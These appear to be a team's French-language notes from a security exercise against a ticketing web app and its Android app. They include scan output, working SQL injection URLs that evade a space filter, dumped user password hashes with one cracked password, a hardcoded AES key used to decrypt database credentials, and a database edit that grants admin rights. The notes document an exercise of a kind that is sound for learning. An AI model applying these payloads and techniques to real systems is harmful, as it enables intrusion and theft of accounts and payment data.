---
# System prepended metadata

title: Wavegame Game1

---

# Wavegame Game1

## Scans

jo.com => 13.37.228.81

### nmap

#### nmap -sC -sV -oA jo.nmap jo.com

```
# Nmap 7.92 scan initiated Wed Mar  9 20:32:42 2022 as: nmap -sC -sV -oA jo.nmap jo.com
Nmap scan report for jo.com (13.37.228.81)
Host is up (0.061s latency).
Scanned at 2022-03-09 20:32:42 CET for 475s
Not shown: 994 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp?
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 8b:a2:8f:17:4d:76:6c:2a:1a:bb:d2:65:d3:4a:85:ad (RSA)
|   256 c4:c2:13:15:f5:df:e5:1a:49:b8:9b:19:bf:83:b1:6d (ECDSA)
|_  256 b5:c3:bf:d9:a9:6e:9c:c4:1e:5b:e7:eb:a4:c3:93:7a (ED25519)
80/tcp   open  http?
443/tcp  open  https?
554/tcp  open  rtsp?
1723/tcp open  pptp?
|_pptp-version: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar  9 20:40:37 2022 -- 1 IP address (1 host up) scanned in 474.97 seconds
```

#### sudo nmap -p- -oA jo.allp jo.com

```
# Nmap 7.92 scan initiated Wed Mar  9 21:31:54 2022 as: nmap -p- -oA jo.allp jo.com
Nmap scan report for jo.com (13.37.228.81)
Host is up (0.0024s latency).
Scanned at 2022-03-09 21:31:56 CET for 105s
Not shown: 65528 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
465/tcp  open  smtps
990/tcp  open  ftps
5223/tcp open  hpvirtgrp
8443/tcp open  https-alt

Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Mar  9 21:33:41 2022 -- 1 IP address (1 host up) scanned in 106.87 seconds
```

### gobuster

#### /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
```
/login                (Status: 200) [Size: 8382]
/register             (Status: 200) [Size: 9232]
/admin                (Status: 302) [Size: 48] [--> /?authorization_error=true]
/static               (Status: 301) [Size: 179] [--> /static/]
/event                (Status: 302) [Size: 26] [--> /404]
/Login                (Status: 200) [Size: 8382]
/checkout             (Status: 302) [Size: 48] [--> /?authorization_error=true]
/Register             (Status: 200) [Size: 9232]
/dashboard            (Status: 302) [Size: 48] [--> /?authorization_error=true]
/ticket               (Status: 302) [Size: 48] [--> /?authorization_error=true]
/Admin                (Status: 302) [Size: 48] [--> /?authorization_error=true]
/Event                (Status: 302) [Size: 26] [--> /404]
/Dashboard            (Status: 302) [Size: 48] [--> /?authorization_error=true]
/Static               (Status: 301) [Size: 179] [--> /Static/]
/Checkout             (Status: 302) [Size: 48] [--> /?authorization_error=true]
/%C0                  (Status: 400) [Size: 138]
/LogIn                (Status: 200) [Size: 8382]
/Ticket               (Status: 302) [Size: 48] [--> /?authorization_error=true]
/LOGIN                (Status: 200) [Size: 8382]
/checkOut             (Status: 302) [Size: 48] [--> /?authorization_error=true]
```

- Port 8456 site web

## Black Box

### SQL injection
http://13.37.228.81:8456/event?id=6%2F2 (trouvé par Zap)
http://jo.com:8456/event?id=%27 error avec MariaDB + bcp d'info sur la requete (on a le nom d'une table event)
http://jo.com:8456/event?id=%27%20--%20- => `Attaque détectée ! Un rapport à l'administrateur sera fait `

Le message ci-dessus semblerait apparaître uniquement lorsqu'il y a un espace dans la requête.

- Check log poisoning si acces aux logs
- Error based attack
- Time based attack

Relou il lance son erreur admin des qu'on met un espace
Il lance une erreur en general si le parametre get n'est pas le nom d'une collone dans la table => enum les collunes??
- name
- date

**SOLUTION**:
```
http://jo.com:8456/event?id=-1/**/union/**/select/**/0,1,2,3,4,5,6;
http://jo.com:8456/event?id=-1/**/union/**/select/**/1,1,1,1,gRoUp_cOncaT(0x7c,table_name,0x7C),1,1/**/FROM/**/information_schema.tables;
http://jo.com:8456/event?id=-1/**/union/**/select/**/1,1,gRoUp_cOncaT(0x7c,column_name,0x7C),1,1,1,1/**/FROM/**/information_schema.columns/**/WHERE/**/table_name=%27user_table%27;
http://jo.com:8456/event?id=-1/**/union/**/select/**/1,id_user,email,password,is_admin,1,1/**/FROM/**/user_table;

```
On remplace les espaces par des `/**/`, avec un total de 7 collones, et on met l'id du debut sur -1 pour que l'union nous affiche le 2eme select.
Comme quoi la nuit porte conseil !

**TODO**
J'ai pas explore toute la base de donnee, seulement la table user_table donc ya ptet encore des trucs a faire avec cette injection

Cred admin
```
id_user: 34
email: admin@localhost
password: bab66ae7a4c0ea5037ec020707fb4afe 
is_admin: 1
first_name: admin
last_name: admin
```

J'ai enum tous les users autres ceux crees par nous:
Format `email:user_id:hash(:mdp)`
Le change `mdp` est vide si j'ai pas reussi a cracker le hash

```
admin@localhost:34:bab66ae7a4c0ea5037ec020707fb4afe
jean.paul@mail.com:36:031635752b66a979a3eafc425db34a0d
francis.lelong@mail.com:37:d216bc5741a9ec08c3da23b934366a4d:ilovebeer2022
test@localhost:38:d02cb43ccd5736a1ba2f521788b2e21c
```

On a donc acces a n'importe quel user avec un pass faible comme francis qui aime la biere !
En gros a partir de mtn grey et black box c'est la meme pcq on peut recuperer le compte de francis en black box


## Grey Box

### Credential

Account created: 
- First name, Last name: a,a
- email: a@a.com
- mdp: a

`Second account`
- First name, Last name: b,b
- email: b
- mdp: b

On a un cookie JWT: 
- en le décryptant -> Champ: is_admin = 0 intéressant
- Alex dit aussi que le champ: id_user peut être sympa à exploit (imagine on connait l'id d'un user genre id admin = 1 => on peut se connecter ??)


On a une vérification de la signature du token -> On ne peut pas simplement changer le champ `is_admin=0` par `is_admin=1`.




### Ticket non proteges

Dans http://jo.com:8456/my-tickets, on peut recuperer toutes les infos bancaires utilises pour l'achat, simplement en faisant `Voir le ticket`, puis `Generer votre ticket`.
Le qrcode genere est un json avec toutes les infos de l'achat non encryptes dedans donc voila ... bof secure.
Du coup je peux acceder aux cred bancaires de francis en generant son ticket avec l'exploit de la sql injection qui m'a permis de recover son mdp



## Android

#### Emulateurs

Pour les systemes `arch`:
Use `yay -S  genymotion` pour emuler android

Pour les systemes `debian`:
 - `anbox` https://www.youtube.com/watch?v=Q1fYepQCjII --> je crois que c'est mort car leur android le plus recent sur build.anbox.io date de 2018 et android 7, trop vieux
 - `genymotion` https://www.kalilinux.in/2021/04/install-genymotion-on-kali-linux.html
mais c'est mort pour moi (on peut pas dans une VM) : https://support.genymotion.com/hc/en-us/articles/360002720057-Can-Genymotion-Desktop-run-in-a-virtual-machine-

#### Decompilation

Decompileur apk `jadx`

Reperer la fonction `doLogin` qui prend le mail et le password et qui va contacter l'api du site web pour se connecter
La fonction a l'air d'utiliser un system d'objet qui conserve les infos de l'user ya ptet un truc a creuser 

#### oldDb

Fichier oldDbConnector qui a l'air fumeux
```
DriverManager.getConnection(Constant.OLD_SQL_ENDPOINT, CryptoService.decrypt("XleVEjF8f0lNtmX/5zQewQ=="), CryptoService.decrypt("Lx+Gwfg/CcT4my1bVGq0WL/HIwafeOBO8b52j87Sos0="));
```
J'ai trouve les clefs AES et le VI (c'est du CBC)
```
private static final String initVector = "R4nd0MInitV3ct0r";
private static final String key = "Sup3rS3cretK3y$$";
```
Du coup la fonction que j'ai mis au dessus ca donne ca (c'est ptet le nom de la db et son mdp):
```
DriverManager.getConnection(Constant.OLD_SQL_ENDPOINT, "service_account", "j56TgpScv7b3djBx");
```

J'ai cherché  : `Constant.OLD_SQL_ENDPOINT = jdbc:mysql://13.36.175.63/wavegame`
**NOUVELLE IP** : 13.36.175.63

avec les creds au dessus on doit etre en mesure de faire une requête, ou alors c'ets le mdp de la DB ? jsp j'y connais rien

mais ce n'est pas un URL il me semble donc je ne sais pas comment faire la requête, dois je passer par un script java ou autre ?

J'ai try `jdbc:mysql://13.36.175.63/wavegame?user=service_account?password=j56TgpScv7b3djBx`
Mais si c'est pas un URL ca sert à rien et **j'ai guess** le nom des chmpas `user` et `password` donc c'est surement n'importe quoi

C'est utilisé par le package DriverManager pour faire des request avec la JDBC (Java Data Base Connectivity) https://waytolearnx.com/2020/05/connexion-a-une-base-de-donnees-mysql-avec-jdbc-java.html et https://su18.org/post/jdbc-connection-url-attack/ à fouiller peut etre

Utilisation de SQuirelL sql pour se connecter a la db (logiciel GUI jarrivais pas a faire marcher la version cli)
J'obtiens un acces a la database wavegame, comme avec linjection sql
Je peux modifier des champs comme id_admin => b est desormais admin !
Il peut faire le scan admin et aussi aller sur http://jo.com:8456/admin

Si jamais vous voulez des infos a propos de squirrel pour vous connecter a la db je vous dis ce que jai fait
J'ai l'impression jai une db j'ai pas le droit d'y acceder cest jdbc:mysql://13.36.175.63/USERS


#### Access ADMIN SCAN

Le check se fait dans `com.example.wavegame2022.ui.scan.ScanFragment:39` : 
`if (!AuthenticationService.getInstance(getContext()).isAdmin())`

Le `isAdmin()` est défini à `com.example.wavegame2022.services.AuthenticationService:145` on veut return `true` mais on a 
```
if (jwt.getClaim("is_admin") == null)
    return false;
```

`jwt.getClaim("is_admin")` check dans une `Map<String Claim>` à `com.auth0.android.jwt.JWT:141` 

Cette Map (nommée `extra`) est un attribut de `this.payload` 

**CONCLUSION:** 
Si on peut redéfinir this.payload, qui est défini à partir d'un JSON parsé à `com.auth0.android.jwt.JWT:197` pour y inclure un "is_admin" on peut être admin sur l'appli (et pouvoir au moins scanné, jsp si c'est utile mais je vais fouiller)
